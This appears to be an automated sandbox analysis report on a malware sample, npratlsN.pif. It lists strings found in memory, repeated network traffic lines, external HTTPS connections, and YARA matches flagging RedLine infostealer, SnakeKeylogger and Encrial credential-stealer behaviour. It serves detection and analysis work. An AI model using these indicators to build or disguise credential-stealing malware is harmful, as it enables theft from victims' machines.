              Source: npratlsN.pif, 0000000A.00000003.2435365448.000000002CA7F000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C807000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C87C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA35000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C832000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.000000002291B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022963000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022A44000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B62000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022787000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.00000000228EE000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D073000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D271000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D02A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CE97000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CFFF000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D154000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B907000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C82C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA2E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022BA9000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022A69000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022961000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.00000000227AC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022913000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022988000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D097000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CEBC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D178000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D2B9000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D022000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D070000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
              Source: npratlsN.pif, 0000000A.00000003.2435365448.000000002CA7F000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C807000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C87C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA35000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C832000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.000000002291B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022963000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022A44000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B62000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022787000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.00000000228EE000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D073000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D271000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D02A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CE97000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CFFF000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D154000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
              Source: npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
              Source: npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
              Source: npratlsN.pif, 00000010.00000002.3457162026.000000002C0A4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/
              Source: npratlsN.pif, 00000010.00000002.3457162026.000000002C095000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/0
              Source: npratlsN.pif, 00000010.00000002.3457162026.000000002C0A4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/Dz
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B9C1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002196D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/Lz
              Source: npratlsN.pif, 0000000E.00000002.3457231521.000000002195E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/h
              Source: npratlsN.pif, 0000000A.00000002.3463602515.000000002B9BC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021968000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C09F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/lB
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52758
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52759
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52756
              Source: unknownNetwork traffic detected: HTTP traffic on port 52785 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
              Source: unknownNetwork traffic detected: HTTP traffic on port 52779 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52750
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52795
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52792
              Source: unknownNetwork traffic detected: HTTP traffic on port 52775 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52756 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52755
              Source: unknownNetwork traffic detected: HTTP traffic on port 52752 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52752
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52796
              Source: unknownNetwork traffic detected: HTTP traffic on port 52746 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52771 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52769 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52761 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52769
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52761
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52762
              Source: unknownNetwork traffic detected: HTTP traffic on port 52792 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52766
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52764
              Source: unknownNetwork traffic detected: HTTP traffic on port 52795 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52764 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52758 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52779
              Source: unknownNetwork traffic detected: HTTP traffic on port 52783 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52787 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52772
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52771
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52776
              Source: unknownNetwork traffic detected: HTTP traffic on port 52750 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52775
              Source: unknownNetwork traffic detected: HTTP traffic on port 52796 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52748 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52780
              Source: unknownNetwork traffic detected: HTTP traffic on port 52744 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
              Source: unknownNetwork traffic detected: HTTP traffic on port 52780 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
              Source: unknownNetwork traffic detected: HTTP traffic on port 52759 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52748
              Source: unknownNetwork traffic detected: HTTP traffic on port 52782 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52746
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52783
              Source: unknownNetwork traffic detected: HTTP traffic on port 52790 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52776 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52782
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52787
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52744
              Source: unknownNetwork traffic detected: HTTP traffic on port 52755 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52785
              Source: unknownNetwork traffic detected: HTTP traffic on port 52772 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52790
              Source: unknownNetwork traffic detected: HTTP traffic on port 52766 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 52762 -> 443
              Source: unknownHTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49742 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:52761 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:52782 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:52796 version: TLS 1.2

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 14.1.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 14.2.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 4.2.brightness.exe.219233d8.11.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 14.2.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 10.2.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 13.2.Nsltarpn.PIF.20fe67a8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 10.2.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.1.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 4.2.brightness.exe.21890948.10.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.1.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 14.1.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.1.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 13.2.Nsltarpn.PIF.20fe67a8.4.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.1.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
